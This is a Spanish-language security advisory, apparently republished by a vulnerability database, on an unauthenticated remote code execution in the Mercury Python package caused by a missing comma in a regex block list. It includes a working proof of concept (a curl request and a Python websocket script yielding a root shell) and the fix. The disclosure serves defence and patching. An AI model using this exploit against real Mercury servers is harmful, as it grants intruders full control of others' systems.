Crítica

Mercury: Ejecución remota de código no autenticada en /api/terminals por evasión de control de acceso

  • Publicada: 19.10.2026
  • Actualizado: 20.10.2026 09:54

Resumen

Una coma faltante en la lista BLOCKED_PATTERNS de mercury_app/block_handler.py hace que la lista de bloqueo no cubra el endpoint /api/terminals. Como resultado, cualquier atacante no autenticado puede generar una shell interactiva completa a nivel del sistema operativo en el host que ejecuta Mercury.

Detalles

La lista de bloqueo en mercury_app/block_handler.py se define como:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

La falta de una coma entre la primera y la segunda línea hace que Python una las reglas; por lo tanto, la lista real que se bloquea se ve de la siguiente manera:

/lab...(?:/.*)?/api/terminals(?:/.*)? (las dos primeras líneas unidas) /api/shutdown(?:/.*)? /files(?:/.*)?

Una solicitud directa a /api/terminals no coincide con ninguna de las reglas de la lista de bloqueo de 3 y, por lo tanto, no se bloquea, alcanzando la API de terminal integrada de Jupyter Server, la cual genera una shell de sistema operativo real accesible a través de una conexión WebSocket. No se requiere autenticación, cuenta, sesión ni acceso previo a Mercury.

PoC

Las pruebas se realizaron en una implementación local de Docker (https://runmercury.com/deploy/dockerfile/), Mercury versión 3.2.3, configuración predeterminada).

Paso 1 - generar un terminal:

bash
curl -i -X POST http://localhost:8888/api/terminals

Respuesta: {"name": "1", "last_activity": "..."}

Paso 2 - conectarse al terminal y ejecutar comandos:

python
python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Salida observada:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirma acceso interactivo completo con permisos de root sin autenticación ni acceso previo de ningún tipo.

Impacto

  • Confidencialidad: acceso de lectura completo a cualquier archivo al que el proceso de Mercury pueda acceder (cuadernos, datos cargados, variables de entorno, secretos).
  • Integridad: el atacante puede modificar o eliminar cualquier archivo, incluidos los cuadernos servidos a otros usuarios.
  • Disponibilidad: el atacante puede apagar o bloquear el servidor/contenedor.
  • Movimiento lateral: la shell se puede utilizar como punto de apoyo para atacar otros sistemas accesibles desde la red del host.

Explotable por cualquier cliente de red que pueda comunicarse con el servidor Mercury, incluido a través de la red pública de internet si se implementa sin controles de acceso adicionales (VPN, autenticación mediante reverse-proxy, firewall).

Solución

Añadir la coma faltante para que /api/terminals sea una regla independiente en la lista de bloqueo:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Qué hacer

Actualice a Mercury versión 3.2.4 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) mercury >= 3.0.0, < 3.2.4 3.2.4

Referencias

Puntuación CVSS 10/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-185, CWE-284
Plataforma
Python (PyPI)
Paquete
mercury
Publicada
19.10.2026
Actualizado
20.10.2026 09:54

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-f8c7-rwf9-fmgm - CC BY 4.0

Historial de vulnerabilidades: mercury

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
10.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2

Divulgaciones por año

  1. 2026: 2
  1. Mercury: Ejecución remota de código no autenticada en /api/terminals por evasión de control de acceso esta entrada
    Crítica · 10.0 CVE-2026-111057 >= 3.0.0, < 3.2.4 3.2.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.